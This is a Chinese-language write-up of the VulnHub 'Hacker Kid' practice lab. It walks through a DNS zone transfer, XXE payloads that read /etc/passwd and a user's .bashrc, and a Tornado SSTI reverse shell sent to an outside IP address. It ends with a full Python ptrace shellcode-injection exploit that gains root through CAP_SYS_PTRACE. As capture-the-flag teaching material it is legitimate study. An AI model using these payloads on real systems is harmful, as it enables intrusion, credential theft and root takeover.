vulnhub靶场HACKER KID:1.0.1

靶场下载地址https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

复习知识点:xxe漏洞,dns解析,ssti漏洞

新知识点:cap_sys_ptrace+ep进程注入提权

信息收集

扫描存活主机

1
nmap -sn -T4 192.168.225.0/24

image-20251025161234680

扫描靶机开放端口,确定开放服务

1
nmap -sV 192.168.225.129

image-20251025161447274

53 常用的 DNS服务器

80 常见web端口

9999 Tornado httpd 6.1 基于 Python 的高性能 Web 服务器框架

WEB服务:

image-20251025162019156

爱看源码是个好习惯—-通过 URL 中的 GET 参数 page_no 来分页查看内容。还有一直说dig命令,它是用来查询域名的

get传参数选择页数。?page_no=1

image-20251025162205648

这里我选择爆破每一页,看看有什么有用的信息

image-20251025181044764

发现了一些留下的信息,获得一个子域名hackers.blackhat.local

image-20251025181420926

尝试使⽤dig挖掘域名信息

在 Kali 或其他渗透环境中,使用dig命令查询该域名,命令为:dig hackers.blackhat.local @[靶机IP]

向靶机的 DNS 服务器(192.168.225.129)查询 hackers.blackhat.local 这个域名的 IP

1
dig hackers.blackhat.local @192.168.225.129  

image-20251025182748470

但是还有一部分信息很重要:权威部分(AUTHORITY SECTION)

虽然 hackers.blackhat.local 不存在,但靶机作为 blackhat.local 域的权威服务器,返回了该域的 “SOA 记录”。说明 blackhat.local 这个主域是存在的。

image-20251025182914825

使用dig命令尝试向靶机 DNS 服务器,请求blackhat.local域的区域传输

如果服务器配置不当(未限制权限),会返回该域下的所有 DNS 记录

dig 一个重要的命令axfr: axfr类型是Authoritative Transfer的缩写,指请求传送 某个区域的全部记录。

1
dig axfr blackhat.local @192.168.225.129

image-20251025203736232

我是在windos上进行渗透测试的,所以我直接在

C:\Windows\System32\drivers\etc\hosts上改了,多加这几行。

image-20251025203810181

xxe漏洞:

直接访问这个域名之后发现一个登录界面

image-20251025203843162

随便输入发现提交的是xml格式,并且存在回显位

image-20251025204051853

经过测试发现回显位在这个标签

<email>3</email>

image-20251025204329525

xxe有回显读本地敏感文件

1
2
3
4
5
<!DOCTYPE ljl [
<!ENTITY a SYSTEM "file:///etc/passwd">
]>

&a;

image-20251025210406387

我们还发现,除了root,还有saket这个用户,拥有/bin/bash登录权限,这在渗透测试中是重要线索

修改xml注入命令,尝试获取Bash shell 的重要配置文件.bashrc文件(.bashrc用户级的隐藏文件,默认存储在每个用户的家目录下)

1
php://filter/convert.base64-encode/resource=/home/saket/.bashrc

image-20251025211116635

base64解码后我们发现管理员账户的用户名和密码

image-20251025211100709

1
2
3
想到那个9999端口的基于python的web服务器
username="admin"
password="Saket!#$%@!!"

但是竟然没有登录

image-20251025214059943

将用户名改为saket就成功了,进入之后提示传一个name,经测试是get传参

image-20251025214406726

ssti漏洞+反弹shell:

又发现是ssti,经过前面的扫描我们发现了它是一个基于Tornado模板的wen服务器

image-20251025215644146

利用ssti漏洞反弹shell

1
{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/115.236.153.174/11831 0>&1"')}}

然后url全编码一下,以防传输的时候出问题

1
%7B%25%20import%20os%20%25%7D%7B%7Bos%2Esystem%28%27bash%20%2Dc%20%22bash%20%2Di%20%26%3E%20%2Fdev%2Ftcp%2F115%2E236%2E153%2E174%2F11831%200%3E%261%22%27%29%7D%7D

这个我用的是免费的贝瑞花生壳来做内网穿透,这里对应的内网段端口是5555,所以在本地监听5555端口

image-20251025220357651

1
nc -lvp 5555

可以看到成功连接,反弹shell成功,成功getshell

image-20251025220458302

提权:

记住一个suid提权常用的命令,但是这里没怎么用上。不过一般情况这个是特别重要的

1
find / -perm -4000 -type f 2>/dev/null

image-20251025221121734

Capabilities

学习一下新的东西吧!!!第一次见

什么是 Capabilities?

Linux Capabilities(能力) 是一种对传统 root 权限的细粒度拆分机制,允许将原本只有超级用户(root)才能执行的操作,划分为多个独立的权限单元,可以单独赋予给程序或进程,从而实现最小权限原则。

为什么需要 Capabilities?

在早期的 Linux 系统中:

  • root 权限是“全能”的,一旦某个程序获取 root 权限,就可以为所欲为。
  • 如果只想让程序拥有一项特权(比如绑定 80 端口),仍需赋予完整 root 权限,风险极高

Capabilities 则将这些“超级权限”拆分,比如只授予:

  • 网络监听能力
  • 修改系统时间能力

常见的 Capabilities 权限

image-20251025222227593

CAP_SYS_ADMIN 被认为是“能力界的 root”,提权风险极大。

可以先看一下历史命令

1
history

image-20251025223219506

可以看看python2.7的文件能力。getcap是Linux系统中的一个命令,用于查看二进制文件或可执行文件拥有的 文件能力

1
/usr/sbin/getcap /usr/bin/python2.7

image-20251025223427124

现在我们getshell了一个非root用户,而且能运行具有 CAP_SYS_PTRACE 的二进制文件(可以调试其他进程)。那就查找系统中存在运行中的 root 进程,进行内存注入 + 进程劫持

1
ps aux | grep root

为了方便提权,使用将nc的shell会话迁移至kali的metasploit

1
2
3
4
5
msfconsole
use exploit/multi/handler
set PAYLOAD cmd/unix/reverse_bash
set LHOST 192.168.225.128
set LPORT 4444

image-20251025224741111

然后写入公开的exp代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
import ctypes

import sys

import struct

PTRACE_POKETEXT = 4

PTRACE_GETREGS = 12

PTRACE_SETREGS = 13

PTRACE_ATTACH = 16

PTRACE_DETACH = 17

class user_regs_struct(ctypes.Structure):

_fields_ = [

("r15", ctypes.c_ulonglong),

("r14", ctypes.c_ulonglong),

("r13", ctypes.c_ulonglong),

("r12", ctypes.c_ulonglong),

("rbp", ctypes.c_ulonglong),

("rbx", ctypes.c_ulonglong),

("r11", ctypes.c_ulonglong),

("r10", ctypes.c_ulonglong),

("r9", ctypes.c_ulonglong),

("r8", ctypes.c_ulonglong),

("rax", ctypes.c_ulonglong),

("rcx", ctypes.c_ulonglong),

("rdx", ctypes.c_ulonglong),

("rsi", ctypes.c_ulonglong),

("rdi", ctypes.c_ulonglong),

("orig_rax", ctypes.c_ulonglong),

("rip", ctypes.c_ulonglong),

("cs", ctypes.c_ulonglong),

("eflags", ctypes.c_ulonglong),

("rsp", ctypes.c_ulonglong),

("ss", ctypes.c_ulonglong),

("fs_base", ctypes.c_ulonglong),

("gs_base", ctypes.c_ulonglong),

("ds", ctypes.c_ulonglong),

("es", ctypes.c_ulonglong),

("fs", ctypes.c_ulonglong),

("gs", ctypes.c_ulonglong),

]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.

libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]

libc.ptrace.restype = ctypes.c_uint64

# Attach to the process

libc.ptrace(PTRACE_ATTACH, pid, None, None)

registers=user_regs_struct()

# Retrieve the value stored in registers

libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.

shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.

for i in xrange(0,len(shellcode),4):

# Convert the byte to little endian.

shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)

shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')

shellcode_byte=int(shellcode_byte_little_endian,16)

# Inject the byte.

libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer

registers.rip=registers.rip+2

# Set the registers

libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))

print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.

libc.ptrace(PTRACE_DETACH, pid, None, None)

该代码本质上是实现了一个基于ptrace的进程注入攻击原型

在kali上写入exp代码,然后开启http访问允许靶机下载

image-20251025225312856

下载exp

1
wget http://192.168.225.128:8000/exp.py

image-20251025225322119

然后执行脚本注入进程930

python2.7 exp.py 930

image-20251025231301485

验证5600端口是否开放

1
ss -pantu |grep 5600

image-20251025231341121

最后再使用nc进行连接,成功提权成为root用户

1
nc 192.168.225.129 5600

image-20251025231849044

参考文章

vulnhub靶场之HACKER KID: 1.0.1 - upfine - 博客园

Hacker kid: 1.0.1靶场渗透测试_渗透测试 ptrace-CSDN博客